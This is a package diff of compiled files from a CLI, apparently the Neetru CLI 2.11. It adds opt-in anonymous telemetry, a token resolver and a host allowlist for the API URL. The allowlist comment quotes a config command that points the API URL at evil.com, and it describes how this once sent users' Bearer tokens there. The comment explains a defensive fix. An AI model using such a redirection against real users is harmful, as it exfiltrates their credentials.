+    /** Sucesso (exit code 0) ou falha. */
+    ok: boolean;
+    /** Exit code reportado (0..N). */
+    exitCode: number;
+    /** Carimbo ISO do evento. */
+    ts: string;
+}
+export declare function isTelemetryEnabled(): boolean;
+/**
+ * Adiciona um evento ao buffer. Drop silencioso quando opt-in nao foi dado.
+ *
+ * Nao deve falhar — qualquer excecao eh engolida pra nao quebrar o comando.
+ */
+export declare function trackEvent(event: Omit<TelemetryEvent, 'ts'>): void;
+/**
+ * Drena o buffer para o endpoint. Idempotente — chamadas subsequentes
+ * sao no-op apos primeira drenagem.
+ *
+ * **H-01 fix (Opus review 2026-05-27):** `keepalive: true` permite que a
+ * request POST sobreviva o `process.exit()` chamado por safeExit. Antes
+ * o request era abortado quando o event loop morria, e como safeExit
+ * tambem destruia o globalAgent (M-05), o fetch sequer chegava a sair.
+ */
+export declare function flushTelemetry(): Promise<void>;
+/**
+ * Instala hooks de flush:
+ *  - `beforeExit` — drena via event loop natural (sucesso, comandos que retornam)
+ *  - `exit` — best-effort em paths que chamam `process.exit` direto (safeExit)
+ *
+ * **H-01 fix (Opus review 2026-05-27):** chamar no ENTRY-POINT do CLI
+ * (src/index.ts antes do parse), nao dentro de postAction (que nem dispara
+ * pra comandos que falham). Idempotente — subsequente eh no-op.
+ */
+export declare function installTelemetryFlushHook(): void;
+export declare function markCommandStart(commandName: string): void;
+export declare function markCommandEnd(exitCode: number): void;
+/** Para tests — esvazia o estado de comando atual. */
+export declare function _resetCurrentCommandForTests(): void;
+/** Para tests — esvazia o buffer e o flag de flush. */
+export declare function _resetTelemetryForTests(): void;

package/dist/lib/telemetry.js

@@ -0,0 +1,199 @@
+/**
+ * MASTER-HIGH-052 (2.11.0) — emitter de telemetry CLI.
+ *
+ * Pre-2.11 a flag `telemetry.enabled` existia no `config.ts` schema, era
+ * settable via `neetru config set telemetry.enabled true`, mas NENHUM
+ * call-site emitia evento. Comentario placeholder `// Sprint 11` ficou la
+ * por umas seis sprints. (HIGH-10 chefe-CLI HIGH-05.)
+ *
+ * Implementacao 2.11:
+ *   - Buffer in-memory (max 50 eventos) drenado em processo `beforeExit`.
+ *   - Opt-in default-OFF (`config.get('telemetry.enabled') === true`).
+ *   - Anonimo: instalacao identificada por `installId` (UUID gerado uma
+ *     vez em ~/.config/neetru-cli/install-id) — sem email, sem token,
+ *     sem path absoluto, sem env vars, sem arg do usuario.
+ *   - Endpoint: POST /api/sdk/v1/telemetry/log (Core ja tem rota viva).
+ *   - Fire-and-forget: erro de rede NUNCA atrapalha o comando do usuario.
+ *
+ * Override pra dev/CI:
+ *   - `NEETRU_TELEMETRY_DISABLED=1` desliga forcado.
+ *   - `NEETRU_TELEMETRY_URL=...` redireciona (usado em vitest).
+ */
+import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs';
+import { join, dirname } from 'node:path';
+import { homedir } from 'node:os';
+import { randomUUID } from 'node:crypto';
+import { config } from './config.js';
+import { CLI_VERSION } from '../version.js';
+const MAX_BUFFER = 50;
+const buffer = [];
+let flushed = false;
+let cachedInstallId = null;
+function getInstallIdPath() {
+    return join(homedir(), '.config', 'neetru-cli', 'install-id');
+}
+function readOrCreateInstallId() {
+    if (cachedInstallId)
+        return cachedInstallId;
+    const filePath = getInstallIdPath();
+    if (existsSync(filePath)) {
+        try {
+            const raw = readFileSync(filePath, 'utf8').trim();
+            if (raw.length >= 8) {
+                cachedInstallId = raw;
+                return raw;
+            }
+        }
+        catch {
+            // re-cria
+        }
+    }
+    const id = randomUUID();
+    try {
+        mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
+        writeFileSync(filePath, id, { encoding: 'utf8', mode: 0o600 });
+    }
+    catch {
+        // sem permissao — segue com installId em-memoria, sem persistencia
+    }
+    cachedInstallId = id;
+    return id;
+}
+function getEndpoint() {
+    if (process.env.NEETRU_TELEMETRY_URL)
+        return process.env.NEETRU_TELEMETRY_URL;
+    const base = config.get('neetruApiUrl') ??
+        'https://api.neetru.com';
+    return `${base.replace(/\/+$/, '')}/api/sdk/v1/telemetry/log`;
+}
+export function isTelemetryEnabled() {
+    if (process.env.NEETRU_TELEMETRY_DISABLED === '1')
+        return false;
+    const v = config.get('telemetry.enabled');
+    return v === true;
+}
+/**
+ * Adiciona um evento ao buffer. Drop silencioso quando opt-in nao foi dado.
+ *
+ * Nao deve falhar — qualquer excecao eh engolida pra nao quebrar o comando.
+ */
+export function trackEvent(event) {
+    try {
+        if (!isTelemetryEnabled())
+            return;
+        if (buffer.length >= MAX_BUFFER)
+            return; // soft cap, nao bloqueia comando
+        buffer.push({ ...event, ts: new Date().toISOString() });
+    }
+    catch {
+        // engole
+    }
+}
+/**
+ * Drena o buffer para o endpoint. Idempotente — chamadas subsequentes
+ * sao no-op apos primeira drenagem.
+ *
+ * **H-01 fix (Opus review 2026-05-27):** `keepalive: true` permite que a
+ * request POST sobreviva o `process.exit()` chamado por safeExit. Antes
+ * o request era abortado quando o event loop morria, e como safeExit
+ * tambem destruia o globalAgent (M-05), o fetch sequer chegava a sair.
+ */
+export async function flushTelemetry() {
+    if (flushed)
+        return;
+    flushed = true;
+    if (!isTelemetryEnabled())
+        return;
+    if (buffer.length === 0)
+        return;
+    const envelope = {
+        cliVersion: CLI_VERSION,
+        installId: readOrCreateInstallId(),
+        os: `${process.platform}-${process.arch}`,
+        events: buffer.splice(0, buffer.length),
+    };
+    const endpoint = getEndpoint();
+    // Fire-and-forget com timeout curto (1.5s). Erro de rede engolido.
+    const controller = new AbortController();
+    const tid = setTimeout(() => controller.abort(), 1500);
+    try {
+        await fetch(endpoint, {
+            method: 'POST',
+            headers: { 'content-type': 'application/json' },
+            body: JSON.stringify(envelope),
+            signal: controller.signal,
+            // H-01 fix: garante que request sobrevive process.exit() do safeExit.
+            // Suportado em Node 18+ (undici) e em todos browsers/Edge runtimes.
+            // eslint-disable-next-line @typescript-eslint/ban-ts-comment
+            // @ts-ignore — RequestInit em Node DOM types nao expoe `keepalive`
+            keepalive: true,
+        });
+    }
+    catch {
+        // engole — falha de telemetry nao afeta o usuario
+    }
+    finally {
+        clearTimeout(tid);
+    }
+}
+let exitHookInstalled = false;
+/**
+ * Instala hooks de flush:
+ *  - `beforeExit` — drena via event loop natural (sucesso, comandos que retornam)
+ *  - `exit` — best-effort em paths que chamam `process.exit` direto (safeExit)
+ *
+ * **H-01 fix (Opus review 2026-05-27):** chamar no ENTRY-POINT do CLI
+ * (src/index.ts antes do parse), nao dentro de postAction (que nem dispara
+ * pra comandos que falham). Idempotente — subsequente eh no-op.
+ */
+export function installTelemetryFlushHook() {
+    if (exitHookInstalled)
+        return;
+    exitHookInstalled = true;
+    process.once('beforeExit', () => {
+        void flushTelemetry();
+    });
+    // exit hook adicional: capa comandos que chamam process.exit() direto
+    // (sem deixar event loop drenar). fetch keepalive:true permite que a
+    // request sobreviva. Note: process.on('exit') eh SINCRONO, void fetch
+    // nao bloqueia — best-effort.
+    process.once('exit', () => {
+        void flushTelemetry();
+    });
+}
+/**
+ * **H-01 fix camada 2 (Opus review):** captura comandos que terminam via
+ * `safeExit(N != 0)` ou `process.exit(N)`. Sem isso, comandos que falham
+ * (a porcao mais importante pra debug UX) NUNCA emitem evento de
+ * telemetria.
+ *
+ * Chamar no `preAction` hook do Commander pra marcar inicio do comando.
+ * O `process.exit` hook captura o exit code real.
+ */
+let currentCommand = null;
+export function markCommandStart(commandName) {
+    currentCommand = { name: commandName, start: Date.now() };
+}
+export function markCommandEnd(exitCode) {
+    if (!currentCommand)
+        return;
+    trackEvent({
+        command: currentCommand.name,
+        durationMs: Date.now() - currentCommand.start,
+        ok: exitCode === 0,
+        exitCode,
+    });
+    currentCommand = null;
+}
+/** Para tests — esvazia o estado de comando atual. */
+export function _resetCurrentCommandForTests() {
+    currentCommand = null;
+}
+/** Para tests — esvazia o buffer e o flag de flush. */
+export function _resetTelemetryForTests() {
+    buffer.length = 0;
+    flushed = false;
+    cachedInstallId = null;
+    exitHookInstalled = false;
+}
+//# sourceMappingURL=telemetry.js.map

package/dist/lib/telemetry.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"telemetry.js","sourceRoot":"","sources":["../../src/lib/telemetry.ts"],"names":[],"mappings":"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"}

package/dist/lib/token-resolver.d.ts

@@ -0,0 +1,11 @@
+/**
+ * Resolve o Bearer token corrente. Retorna `null` se nao houver sessao.
+ *
+ * Side effect: na primeira vez que o token vier do Conf (e nao do
+ * auth.json), emite um warning stderr (one-shot por processo) avisando da
+ * deprecacao da rota legacy. Comandos com `--json` ainda assim recebem o
+ * warning em stderr (machine-readable stdout fica limpo).
+ */
+export declare function getActiveTokenSync(): string | null;
+/** Para tests — reseta o flag de warning one-shot. */
+export declare function _resetLegacyWarningForTests(): void;

package/dist/lib/token-resolver.js

@@ -0,0 +1,52 @@
+/**
+ * MASTER-HIGH-048 (2.11.0) — token resolver sincrono.
+ *
+ * Antes da 2.11, `api-client.ts` lia o token APENAS do `Conf` storage. Mas
+ * desde a Sprint 1 (2026-05-04) o storage canonico passou a ser
+ * `~/.config/neetru-cli/auth.json` (chmod 0600, fora do JSON do Conf).
+ * `login` gravava nos DOIS pra compat; comandos como `status`, `validate`,
+ * `db`, `deploy`, `vm`, `logs`, `doctor`, `publish` so conseguiam ler de
+ * Conf — entao copiar `auth.json` pra outra maquina deixava esses 8
+ * comandos "logado mas nao logado". Cause classica de bug de suporte.
+ *
+ * Solucao: resolver sincrono que prefere `auth.json` e usa Conf so como
+ * fallback. Quem chamava `config.get('neetruApiKey')` direto agora chama
+ * `getActiveTokenSync()`.
+ *
+ * Ordem:
+ *   1. `~/.config/neetru-cli/auth.json` (canonico)
+ *   2. Conf `neetruApiKey` (legacy — emite deprecation warning em 2.11; remove em 2.12.0)
+ *   3. null
+ */
+import { readAuthJsonSync } from './auth.js';
+import { config } from './config.js';
+let legacyWarningEmitted = false;
+/**
+ * Resolve o Bearer token corrente. Retorna `null` se nao houver sessao.
+ *
+ * Side effect: na primeira vez que o token vier do Conf (e nao do
+ * auth.json), emite um warning stderr (one-shot por processo) avisando da
+ * deprecacao da rota legacy. Comandos com `--json` ainda assim recebem o
+ * warning em stderr (machine-readable stdout fica limpo).
+ */
+export function getActiveTokenSync() {
+    const auth = readAuthJsonSync();
+    if (auth && auth.token)
+        return auth.token;
+    const legacy = config.get('neetruApiKey');
+    if (typeof legacy === 'string' && legacy.length > 0) {
+        if (!legacyWarningEmitted && !process.env.NEETRU_SUPPRESS_LEGACY_WARNINGS) {
+            legacyWarningEmitted = true;
+            // stderr — preserva pipe-friendly stdout.
+            process.stderr.write('⚠ Aviso: usando token do storage legacy (Conf). Execute `neetru logout && neetru login` pra migrar pra ~/.config/neetru-cli/auth.json.\n' +
+                '  Storage legacy sera removido em @neetru/cli@2.12.\n');
+        }
+        return legacy;
+    }
+    return null;
+}
+/** Para tests — reseta o flag de warning one-shot. */
+export function _resetLegacyWarningForTests() {
+    legacyWarningEmitted = false;
+}
+//# sourceMappingURL=token-resolver.js.map

package/dist/lib/token-resolver.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"token-resolver.js","sourceRoot":"","sources":["../../src/lib/token-resolver.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AACH,OAAO,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAC7C,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAErC,IAAI,oBAAoB,GAAG,KAAK,CAAC;AAEjC;;;;;;;GAOG;AACH,MAAM,UAAU,kBAAkB;IAChC,MAAM,IAAI,GAAG,gBAAgB,EAAE,CAAC;IAChC,IAAI,IAAI,IAAI,IAAI,CAAC,KAAK;QAAE,OAAO,IAAI,CAAC,KAAK,CAAC;IAE1C,MAAM,MAAM,GAAG,MAAM,CAAC,GAAG,CAAC,cAAc,CAAC,CAAC;IAC1C,IAAI,OAAO,MAAM,KAAK,QAAQ,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpD,IAAI,CAAC,oBAAoB,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,+BAA+B,EAAE,CAAC;YAC1E,oBAAoB,GAAG,IAAI,CAAC;YAC5B,0CAA0C;YAC1C,OAAO,CAAC,MAAM,CAAC,KAAK,CAClB,0IAA0I;gBACxI,uDAAuD,CAC1D,CAAC;QACJ,CAAC;QACD,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,OAAO,IAAI,CAAC;AACd,CAAC;AAED,sDAAsD;AACtD,MAAM,UAAU,2BAA2B;IACzC,oBAAoB,GAAG,KAAK,CAAC;AAC/B,CAAC"}

package/dist/lib/url-allowlist.d.ts

@@ -0,0 +1,30 @@
+/**
+ * MASTER-HIGH-049 (2.11.0) — allowlist de hosts pra `neetruApiUrl`.
+ *
+ * Pre-2.11, `neetru config set neetruApiUrl http://evil.com` era aceito sem
+ * warning. Proxima chamada `neetru whoami` mandava o Bearer
+ * `nrt_<keyId>_<secret>` direto pra `evil.com` — vetor de exfiltracao do
+ * token CLI. (HIGH-10 / chefe-CLI HIGH-02.)
+ *
+ * Politica:
+ *   - Hosts trustred: api.neetru.com, core.neetru.com, *.neetru.com,
+ *     localhost (qualquer porta), 127.0.0.1 (qualquer porta).
+ *   - Hosts NAO trusted: warning vermelho + bloqueio sem
+ *     `--allow-untrusted-url` (ou env `NEETRU_ALLOW_UNTRUSTED_URL=1`).
+ */
+export interface AllowlistResult {
+    trusted: boolean;
+    host: string;
+    reason?: string;
+}
+/**
+ * Classifica a URL alvo. Retorna `trusted=true` quando o host bate na
+ * allowlist; `trusted=false` (com `reason`) caso contrario.
+ */
+export declare function classifyApiUrl(rawUrl: string): AllowlistResult;
+/**
+ * Override por env. Setar `NEETRU_ALLOW_UNTRUSTED_URL=1` pula a checagem
+ * tanto em `config set` quanto em runtime warnings — util pra dev em
+ * ambientes corporativos com proxy.
+ */
+export declare function isOverrideEnabled(): boolean;